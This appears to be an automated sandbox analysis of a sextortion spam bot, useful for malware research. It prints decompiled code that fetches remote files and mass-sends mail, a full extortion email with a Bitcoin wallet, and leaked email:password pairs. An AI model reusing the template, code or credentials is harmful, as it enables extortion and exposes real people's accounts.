                                                                                                                                                                                                                                                                                                                                                      0x00321eac
                                                                                                                                                                                                                                                                                                                                                      0x00321eac
                                                                                                                                                                                                                                                                                                                                                      0x00321e3c
                                                                                                                                                                                                                                                                                                                                                      0x00321e3c
                                                                                                                                                                                                                                                                                                                                                      0x00321e3c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x003222f3
                                                                                                                                                                                                                                                                                                                                                      0x00321b44
                                                                                                                                                                                                                                                                                                                                                      0x00321b49
                                                                                                                                                                                                                                                                                                                                                      0x00321b4c
                                                                                                                                                                                                                                                                                                                                                      0x00321b59
                                                                                                                                                                                                                                                                                                                                                      0x00321b60
                                                                                                                                                                                                                                                                                                                                                      0x00321b66
                                                                                                                                                                                                                                                                                                                                                      0x00321b75
                                                                                                                                                                                                                                                                                                                                                      0x00321b7a
                                                                                                                                                                                                                                                                                                                                                      0x00321b7d
                                                                                                                                                                                                                                                                                                                                                      0x00321b7f
                                                                                                                                                                                                                                                                                                                                                      0x00321b86
                                                                                                                                                                                                                                                                                                                                                      0x00321b89
                                                                                                                                                                                                                                                                                                                                                      0x00321b98
                                                                                                                                                                                                                                                                                                                                                      0x00321b9e
                                                                                                                                                                                                                                                                                                                                                      0x00321ba5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321bab
                                                                                                                                                                                                                                                                                                                                                      0x00321bb1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321bb8
                                                                                                                                                                                                                                                                                                                                                      0x00321bb8
                                                                                                                                                                                                                                                                                                                                                      0x00321bc4
                                                                                                                                                                                                                                                                                                                                                      0x00321bca
                                                                                                                                                                                                                                                                                                                                                      0x00321bcc
                                                                                                                                                                                                                                                                                                                                                      0x00321c01
                                                                                                                                                                                                                                                                                                                                                      0x00321c07
                                                                                                                                                                                                                                                                                                                                                      0x00321c0a
                                                                                                                                                                                                                                                                                                                                                      0x00321bce
                                                                                                                                                                                                                                                                                                                                                      0x00321bdf
                                                                                                                                                                                                                                                                                                                                                      0x00321be5
                                                                                                                                                                                                                                                                                                                                                      0x00321be8
                                                                                                                                                                                                                                                                                                                                                      0x00321be8
                                                                                                                                                                                                                                                                                                                                                      0x00321c22
                                                                                                                                                                                                                                                                                                                                                      0x00321c27
                                                                                                                                                                                                                                                                                                                                                      0x00321c2a
                                                                                                                                                                                                                                                                                                                                                      0x00321c2c
                                                                                                                                                                                                                                                                                                                                                      0x00321c3a
                                                                                                                                                                                                                                                                                                                                                      0x00321c2e
                                                                                                                                                                                                                                                                                                                                                      0x00321c2e
                                                                                                                                                                                                                                                                                                                                                      0x00321c2e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321c46
                                                                                                                                                                                                                                                                                                                                                      0x00321c46
                                                                                                                                                                                                                                                                                                                                                      0x00321c4d
                                                                                                                                                                                                                                                                                                                                                      0x00321c5b
                                                                                                                                                                                                                                                                                                                                                      0x00321c62
                                                                                                                                                                                                                                                                                                                                                      0x00321c68
                                                                                                                                                                                                                                                                                                                                                      0x00321c77
                                                                                                                                                                                                                                                                                                                                                      0x00321c7e
                                                                                                                                                                                                                                                                                                                                                      0x00321c84
                                                                                                                                                                                                                                                                                                                                                      0x00321c87
                                                                                                                                                                                                                                                                                                                                                      0x00321c8d
                                                                                                                                                                                                                                                                                                                                                      0x00321c9b
                                                                                                                                                                                                                                                                                                                                                      0x00321c9f
                                                                                                                                                                                                                                                                                                                                                      0x00321ca7
                                                                                                                                                                                                                                                                                                                                                      0x00321ca9
                                                                                                                                                                                                                                                                                                                                                      0x00321cb7
                                                                                                                                                                                                                                                                                                                                                      0x00321cab
                                                                                                                                                                                                                                                                                                                                                      0x00321cab
                                                                                                                                                                                                                                                                                                                                                      0x00321cab
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321cc3
                                                                                                                                                                                                                                                                                                                                                      0x00321cc3
                                                                                                                                                                                                                                                                                                                                                      0x00321cd3
                                                                                                                                                                                                                                                                                                                                                      0x00321cd9
                                                                                                                                                                                                                                                                                                                                                      0x00321cdc
                                                                                                                                                                                                                                                                                                                                                      0x00321ce2
                                                                                                                                                                                                                                                                                                                                                      0x00321ce9
                                                                                                                                                                                                                                                                                                                                                      0x00321cf4
                                                                                                                                                                                                                                                                                                                                                      0x00321cfc
                                                                                                                                                                                                                                                                                                                                                      0x00321cfe
                                                                                                                                                                                                                                                                                                                                                      0x00321d0c
                                                                                                                                                                                                                                                                                                                                                      0x00321d00
                                                                                                                                                                                                                                                                                                                                                      0x00321d00
                                                                                                                                                                                                                                                                                                                                                      0x00321d00
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321d18
                                                                                                                                                                                                                                                                                                                                                      0x00321d1f
                                                                                                                                                                                                                                                                                                                                                      0x00321d23
                                                                                                                                                                                                                                                                                                                                                      0x00321d2b
                                                                                                                                                                                                                                                                                                                                                      0x00321d2d
                                                                                                                                                                                                                                                                                                                                                      0x00321d3b
                                                                                                                                                                                                                                                                                                                                                      0x00321d2f
                                                                                                                                                                                                                                                                                                                                                      0x00321d2f
                                                                                                                                                                                                                                                                                                                                                      0x00321d2f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x003222d9
                                                                                                                                                                                                                                                                                                                                                      0x003222e4
                                                                                                                                                                                                                                                                                                                                                      0x003222ec
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321b81
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321b81
                                                                                                                                                                                                                                                                                                                                                      0x00321b5b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321b5b
                                                                                                                                                                                                                                                                                                                                                      0x00321b59
                                                                                                                                                                                                                                                                                                                                                      0x003222f8
                                                                                                                                                                                                                                                                                                                                                      0x00322301
                                                                                                                                                                                                                                                                                                                                                      0x0032230a
                                                                                                                                                                                                                                                                                                                                                      0x00322314
                                                                                                                                                                                                                                                                                                                                                      0x00322320
                                                                                                                                                                                                                                                                                                                                                      0x00322320

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321320: GetTickCount.KERNEL32 ref: 0032132A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321320: srand.MSVCRT ref: 00321331
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321320: rand.MSVCRT ref: 00321353
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321320: sprintf.MSVCRT ref: 0032136E
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 00321D65
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321490: GetLocalTime.KERNEL32(?), ref: 00321528
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321490: GetTimeZoneInformation.KERNELBASE(00000000), ref: 00321563
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321490: wsprintfA.USER32 ref: 0032164E
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000007D0), ref: 00321D86
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321490: FileTimeToLocalFileTime.KERNEL32(00000000,?), ref: 0032153B
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321490: FileTimeToSystemTime.KERNEL32(?,?), ref: 0032154C
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 00321DAD
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 00321DBE
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 00321DCF
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 00321DE0
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321390: rand.MSVCRT ref: 003213A0
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321390: rand.MSVCRT ref: 003213CD
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 00321E0F
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321120: lstrlenA.KERNEL32(?), ref: 0032112D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321120: send.WS2_32(?,?,000000FF,00000000), ref: 00321144
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 00321E7F
                                                                                                                                                                                                                                                                                                                                                      • shutdown.WS2_32(000000FF,00000002), ref: 0032230A
                                                                                                                                                                                                                                                                                                                                                      • closesocket.WS2_32(000000FF), ref: 00322314
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • My Bitcoin (BTC) wallet is: bc1qtnh43ae8ur89d62y99gseejf7ud4zvrcntxzmx, xrefs: 00322201
                                                                                                                                                                                                                                                                                                                                                      • ., xrefs: 0032229A
                                                                                                                                                                                                                                                                                                                                                      • , xrefs: 00322112
                                                                                                                                                                                                                                                                                                                                                      • The only way to stop me, is to pay exactly 900$ in Bitcoin (BTC)., xrefs: 00322176
                                                                                                                                                                                                                                                                                                                                                      • From: John Blue %s, xrefs: 00321EBF
                                                                                                                                                                                                                                                                                                                                                      • But you can stop me and only I can help you out in this situation., xrefs: 00322162
                                                                                                                                                                                                                                                                                                                                                      • It's a very good offer, compared to all that horrible shit that will happen if I publish everything., xrefs: 0032218A
                                                                                                                                                                                                                                                                                                                                                      • You can send the Bitcoin (BTC) directly to my wallet, or install the free software: Atomicwallet, or: Exodus wallet, then receive and send to mine., xrefs: 003221ED
                                                                                                                                                                                                                                                                                                                                                      • Hi, today there are sadly some bad news for you., xrefs: 003220AF
                                                                                                                                                                                                                                                                                                                                                      • I collected all your private data and I RECORDED YOU (through your cam) SATISFYING YOURSELF!, xrefs: 00322126
                                                                                                                                                                                                                                                                                                                                                      • After that I removed my malware to not leave any traces and this email was sent from some hacked server., xrefs: 0032213A
                                                                                                                                                                                                                                                                                                                                                      • Your device was infected with my private malware, your browser wasn't updated / patched, in such case it's enough to just visit some website where my iframe is placed to get automatically infected, if you want to find out more, Google: Drive-by exploit., xrefs: 003220C3
                                                                                                                                                                                                                                                                                                                                                      • Yes, that's how the wallet / address looks like, copy and paste it, it's (cAsE-sEnSEtiVE)., xrefs: 00322215
                                                                                                                                                                                                                                                                                                                                                      • After receiving the payment, I will remove everything and you can life your live in peace like before, don't worry, I keep my promise., xrefs: 0032223D
                                                                                                                                                                                                                                                                                                                                                      • I RECORDED YOU!, xrefs: 00321F4D
                                                                                                                                                                                                                                                                                                                                                      • To: %s, xrefs: 00321F08
                                                                                                                                                                                                                                                                                                                                                      • If you think this is some bad joke, no, I know your password: , xrefs: 003220EB
                                                                                                                                                                                                                                                                                                                                                      • %s.com, xrefs: 00321D59
                                                                                                                                                                                                                                                                                                                                                      • Next time make sure that your device got the newsest security updates., xrefs: 00322251
                                                                                                                                                                                                                                                                                                                                                      • Message-ID: <%s.%s@%s>, xrefs: 0032200E
                                                                                                                                                                                                                                                                                                                                                      • Mime-Version: 1.0, xrefs: 00322055
                                                                                                                                                                                                                                                                                                                                                      • I can publish the video of you and all your private data on the whole web, social networks, over email and send everything to all your contacts., xrefs: 0032214E
                                                                                                                                                                                                                                                                                                                                                      • My malware gave me full access to all your accounts, full control over your device and it also was possible to spy on you over your cam., xrefs: 003220D7
                                                                                                                                                                                                                                                                                                                                                      • I give you 3 days time to pay., xrefs: 00322229
                                                                                                                                                                                                                                                                                                                                                      • You can easily buy Bitcoin (BTC) here: www.paxful.com , www.coingate.com , www.coinbase.com , or check for Bitcoin (BTC) ATM near you, or Google for other exchanger., xrefs: 003221D9
                                                                                                                                                                                                                                                                                                                                                      • Content-type: text/plain;, xrefs: 00322078
                                                                                                                                                                                                                                                                                                                                                      • Subject: %s, xrefs: 00321F52
                                                                                                                                                                                                                                                                                                                                                      • Received: (qmail %s invoked by uid %s); %s, xrefs: 00321E73
                                                                                                                                                                                                                                                                                                                                                      • Date: %s, xrefs: 00321F9E
                                                                                                                                                                                                                                                                                                                                                      • ClientMailID: , xrefs: 00322265
                                                                                                                                                                                                                                                                                                                                                      • Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s, xrefs: 00321E03
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: rand$Time$wsprintf$File$Local$CountInformationSleepSystemTickZoneclosesocketlstrlensendshutdownsprintfsrand
                                                                                                                                                                                                                                                                                                                                                      • String ID: $.$%s.com$After receiving the payment, I will remove everything and you can life your live in peace like before, don't worry, I keep my promise.$After that I removed my malware to not leave any traces and this email was sent from some hacked server.$But you can stop me and only I can help you out in this situation.$ClientMailID: $Content-type: text/plain;$Date: %s$From: John Blue %s$Hi, today there are sadly some bad news for you.$I RECORDED YOU!$I can publish the video of you and all your private data on the whole web, social networks, over email and send everything to all your contacts.$I collected all your private data and I RECORDED YOU (through your cam) SATISFYING YOURSELF!$I give you 3 days time to pay.$If you think this is some bad joke, no, I know your password: $It's a very good offer, compared to all that horrible shit that will happen if I publish everything.$Message-ID: <%s.%s@%s>$Mime-Version: 1.0$My Bitcoin (BTC) wallet is: bc1qtnh43ae8ur89d62y99gseejf7ud4zvrcntxzmx$My malware gave me full access to all your accounts, full control over your device and it also was possible to spy on you over your cam.$Next time make sure that your device got the newsest security updates.$Received: (qmail %s invoked by uid %s); %s$Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s$Subject: %s$The only way to stop me, is to pay exactly 900$ in Bitcoin (BTC).$To: %s$Yes, that's how the wallet / address looks like, copy and paste it, it's (cAsE-sEnSEtiVE).$You can easily buy Bitcoin (BTC) here: www.paxful.com , www.coingate.com , www.coinbase.com , or check for Bitcoin (BTC) ATM near you, or Google for other exchanger.$You can send the Bitcoin (BTC) directly to my wallet, or install the free software: Atomicwallet, or: Exodus wallet, then receive and send to mine.$Your device was infected with my private malware, your browser wasn't updated / patched, in such case it's enough to just visit some website where my iframe is placed to get automatically infected, if you want to find out more, Google: Drive-by exploit.
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1336957093-549587055
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 59698f7536b409cfbb33fab3461dd8145a8023e4c1d00f05cc23496e7aefe86c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 7ac4fad5b6b3cb7d94e73866e38d374edc7c291fb59ee5d32ec565597312bddf
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 59698f7536b409cfbb33fab3461dd8145a8023e4c1d00f05cc23496e7aefe86c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B5E174B2D00234BBDB12DB90EC42FEE7379BB64705F044598F60D66141E7BDA7A88B61
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00322500 Relevance: 61.4, APIs: 29, Strings: 6, Instructions: 178sleepthreadfileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 88%
                                                                                                                                                                                                                                                                                                                                                      			E00322500(void* _a4) {
				short _v524;
				signed int _v528;
				short _v1052;
				long _v1572;
				short _v2092;
				char _v2356;
				int _v2360;
				int _v2364;
				char* _t59;
				char* _t66;
				int _t67;
				signed int _t70;
				signed int _t74;
				signed int _t76;
				signed int _t78;
				int _t83;
				int _t85;
				signed int _t88;
				void* _t122;
				void* _t134;
				void* _t139;

				memcpy( &_v2356, _a4, 0x41 << 2);
				srand(GetTickCount());
				E003227B0(0,  &_v2092, 0, 0x104);
				E003227B0( &_v1572,  &_v1572, 0, 0x104);
				E003227B0( &_v1572,  &_v1052, 0, 0x104);
				E003227B0( &_v1572,  &_v524, 0, 0x104);
				memset("[102.129.143.78]", 0, 0x1f4);
				_t59 = E003217D0(); // executed
				strcpy("[102.129.143.78]", _t59);
				ExpandEnvironmentStringsW(L"%temp%",  &_v2092, 0x104);
				mbstowcs( &_v1572,  &_v2356, 0x105);
				wsprintfW( &_v1052, L"%sn.txt",  &_v1572);
				_t66 = E00321950(0,  &_v1052, 0); // executed
				_t67 = atoi(_t66);
				_t134 = _t122 + 0x7c;
				_v528 = _t67;
				if(_v528 <= 0) {
					ExitThread(0);
				} else {
					goto L1;
				}
				while(1) {
					L1:
					Sleep(0x3e8); // executed
					E003227B0( &_v524,  &_v524, 0, 0x104);
					E003227B0( &_v524, "C:\Users\alfons\AppData\Local\Temp\3100982464396.jpg", 0, 0x104);
					_t70 = rand();
					asm("cdq");
					wsprintfW( &_v524, L"%s%d.txt",  &_v1572, _t70 % _v528 + 1);
					_t74 = rand();
					asm("cdq");
					_t76 = rand();
					asm("cdq");
					_t78 = rand();
					asm("cdq");
					wsprintfW("C:\Users\alfons\AppData\Local\Temp\3100982464396.jpg", L"%s\\%d%d%d.jpg",  &_v2092, _t78 % 0x7fff + 0x3e8, _t76 % 0x7fff + 0x3e8, _t74 % 0x7fff + 0x3e8);
					E00321950(1,  &_v524, "C:\Users\alfons\AppData\Local\Temp\3100982464396.jpg"); // executed
					_t139 = _t134 + 0x4c;
					_t83 = PathFileExistsW("C:\Users\alfons\AppData\Local\Temp\3100982464396.jpg"); // executed
					if(_t83 == 0) {
						goto L7;
					}
					_v2364 = 0;
					while(_v2364 < 0xbb8) {
						CreateThread(0, 0, E00322360, 0, 0, 0); // executed
						_t88 = rand();
						asm("cdq");
						Sleep(_t88 % 0x64 + 0x32); // executed
						_v2364 = _v2364 + 1;
					}
					DeleteFileW("C:\Users\alfons\AppData\Local\Temp\3100982464396.jpg");
					L7:
					_t85 = atoi(E00321950(0,  &_v1052, 0));
					_t134 = _t139 + 0x10;
					_v2360 = _t85;
					if(_v2360 >= 1) {
						continue;
					}
					ExitProcess(0);
				}
			}
























                                                                                                                                                                                                                                                                                                                                                      0x00322519
                                                                                                                                                                                                                                                                                                                                                      0x00322522
                                                                                                                                                                                                                                                                                                                                                      0x00322538
                                                                                                                                                                                                                                                                                                                                                      0x0032254e
                                                                                                                                                                                                                                                                                                                                                      0x00322564
                                                                                                                                                                                                                                                                                                                                                      0x0032257a
                                                                                                                                                                                                                                                                                                                                                      0x0032258e
                                                                                                                                                                                                                                                                                                                                                      0x00322596
                                                                                                                                                                                                                                                                                                                                                      0x003225a1
                                                                                                                                                                                                                                                                                                                                                      0x003225ba
                                                                                                                                                                                                                                                                                                                                                      0x003225d3
                                                                                                                                                                                                                                                                                                                                                      0x003225ee
                                                                                                                                                                                                                                                                                                                                                      0x00322602
                                                                                                                                                                                                                                                                                                                                                      0x0032260b
                                                                                                                                                                                                                                                                                                                                                      0x00322610
                                                                                                                                                                                                                                                                                                                                                      0x00322613
                                                                                                                                                                                                                                                                                                                                                      0x00322620
                                                                                                                                                                                                                                                                                                                                                      0x0032279c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00322626
                                                                                                                                                                                                                                                                                                                                                      0x00322626
                                                                                                                                                                                                                                                                                                                                                      0x0032262b
                                                                                                                                                                                                                                                                                                                                                      0x0032263f
                                                                                                                                                                                                                                                                                                                                                      0x00322653
                                                                                                                                                                                                                                                                                                                                                      0x0032265b
                                                                                                                                                                                                                                                                                                                                                      0x00322660
                                                                                                                                                                                                                                                                                                                                                      0x0032267e
                                                                                                                                                                                                                                                                                                                                                      0x00322687
                                                                                                                                                                                                                                                                                                                                                      0x0032268c
                                                                                                                                                                                                                                                                                                                                                      0x0032269b
                                                                                                                                                                                                                                                                                                                                                      0x003226a0
                                                                                                                                                                                                                                                                                                                                                      0x003226af
                                                                                                                                                                                                                                                                                                                                                      0x003226b4
                                                                                                                                                                                                                                                                                                                                                      0x003226d4
                                                                                                                                                                                                                                                                                                                                                      0x003226eb
                                                                                                                                                                                                                                                                                                                                                      0x003226f0
                                                                                                                                                                                                                                                                                                                                                      0x003226f8
                                                                                                                                                                                                                                                                                                                                                      0x00322700
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00322702
                                                                                                                                                                                                                                                                                                                                                      0x0032271d
                                                                                                                                                                                                                                                                                                                                                      0x00322738
                                                                                                                                                                                                                                                                                                                                                      0x0032273e
                                                                                                                                                                                                                                                                                                                                                      0x00322743
                                                                                                                                                                                                                                                                                                                                                      0x0032274f
                                                                                                                                                                                                                                                                                                                                                      0x00322717
                                                                                                                                                                                                                                                                                                                                                      0x00322717
                                                                                                                                                                                                                                                                                                                                                      0x0032275c
                                                                                                                                                                                                                                                                                                                                                      0x00322762
                                                                                                                                                                                                                                                                                                                                                      0x00322776
                                                                                                                                                                                                                                                                                                                                                      0x0032277b
                                                                                                                                                                                                                                                                                                                                                      0x0032277e
                                                                                                                                                                                                                                                                                                                                                      0x0032278b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00322795
                                                                                                                                                                                                                                                                                                                                                      0x0032278f
                                                                                                                                                                                                                                                                                                                                                      0x0032278f

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0032251B
                                                                                                                                                                                                                                                                                                                                                      • srand.MSVCRT ref: 00322522
                                                                                                                                                                                                                                                                                                                                                      • _wmemset.LIBCPMTD ref: 00322538
                                                                                                                                                                                                                                                                                                                                                      • _wmemset.LIBCPMTD ref: 0032254E
                                                                                                                                                                                                                                                                                                                                                      • _wmemset.LIBCPMTD ref: 00322564
                                                                                                                                                                                                                                                                                                                                                      • _wmemset.LIBCPMTD ref: 0032257A
                                                                                                                                                                                                                                                                                                                                                      • memset.MSVCRT ref: 0032258E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 003217D0: InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000000,00000000,00000000,00000000), ref: 003217E3
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 003217D0: InternetOpenUrlA.WININET(00000000,http://icanhazip.com/,00000000,00000000,00000000,00000000), ref: 00321807
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 003217D0: InternetReadFile.WININET(00000000,?,00000063,?), ref: 00321824
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 003217D0: wsprintfA.USER32 ref: 00321860
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 003217D0: InternetCloseHandle.WININET(00000000), ref: 00321882
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 003217D0: InternetCloseHandle.WININET(?), ref: 003218A1
                                                                                                                                                                                                                                                                                                                                                      • strcpy.MSVCRT([102.129.143.78],00000000), ref: 003225A1
                                                                                                                                                                                                                                                                                                                                                      • ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 003225BA
                                                                                                                                                                                                                                                                                                                                                      • mbstowcs.MSVCRT ref: 003225D3
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 003225EE
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321950: memset.MSVCRT ref: 00321962
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321950: InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000001,00000000,00000000,00000000), ref: 00321977
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321950: InternetOpenUrlW.WININET(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0032199A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321950: CreateFileW.KERNELBASE(00322607,40000000,00000000,00000000,00000002,00000000,00000000), ref: 003219C9
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321950: InternetReadFile.WININET(00000000,an04072002tjones01@gmail.com:8546VcFt#mdaminuddin615@gmail.com:sohel123@#&*abernusknage16@yandex.ru:icq2formcardenas@gmail.com:Advance01#fross@gmail.com:imarider12345joshua.mcness92@gmail.com:uvC-u2E-Y8R-yw8muhammad.izhar444@gmail.com:25447asdfprakashm,000003FF,00322607), ref: 003219EA
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321950: WriteFile.KERNELBASE(000000FF,an04072002tjones01@gmail.com:8546VcFt#mdaminuddin615@gmail.com:sohel123@#&*abernusknage16@yandex.ru:icq2formcardenas@gmail.com:Advance01#fross@gmail.com:imarider12345joshua.mcness92@gmail.com:uvC-u2E-Y8R-yw8muhammad.izhar444@gmail.com:25447asdfprakashm,00000000,00000000,00000000), ref: 00321A0D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321950: CloseHandle.KERNEL32(000000FF), ref: 00321A19
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321950: InternetCloseHandle.WININET(00000000), ref: 00321A3D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321950: InternetCloseHandle.WININET(00000000), ref: 00321A47
                                                                                                                                                                                                                                                                                                                                                      • atoi.MSVCRT ref: 0032260B
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000003E8), ref: 0032262B
                                                                                                                                                                                                                                                                                                                                                      • _wmemset.LIBCPMTD ref: 0032263F
                                                                                                                                                                                                                                                                                                                                                      • _wmemset.LIBCPMTD ref: 00322653
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 0032265B
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 0032267E
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 00322687
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 0032269B
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 003226AF
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 003226D4
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321950: InternetReadFile.WININET(00000000,an04072002tjones01@gmail.com:8546VcFt#mdaminuddin615@gmail.com:sohel123@#&*abernusknage16@yandex.ru:icq2formcardenas@gmail.com:Advance01#fross@gmail.com:imarider12345joshua.mcness92@gmail.com:uvC-u2E-Y8R-yw8muhammad.izhar444@gmail.com:25447asdfprakashm,000003FF,00322607), ref: 00321A33
                                                                                                                                                                                                                                                                                                                                                      • PathFileExistsW.KERNELBASE(C:\Users\user\AppData\Local\Temp\3100982464396.jpg), ref: 003226F8
                                                                                                                                                                                                                                                                                                                                                      • CreateThread.KERNELBASE(00000000,00000000,Function_00002360,00000000,00000000,00000000), ref: 00322738
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 0032273E
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE ref: 0032274F
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNEL32(C:\Users\user\AppData\Local\Temp\3100982464396.jpg), ref: 0032275C
                                                                                                                                                                                                                                                                                                                                                      • atoi.MSVCRT ref: 00322776
                                                                                                                                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 0032278F
                                                                                                                                                                                                                                                                                                                                                      • ExitThread.KERNEL32 ref: 0032279C
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
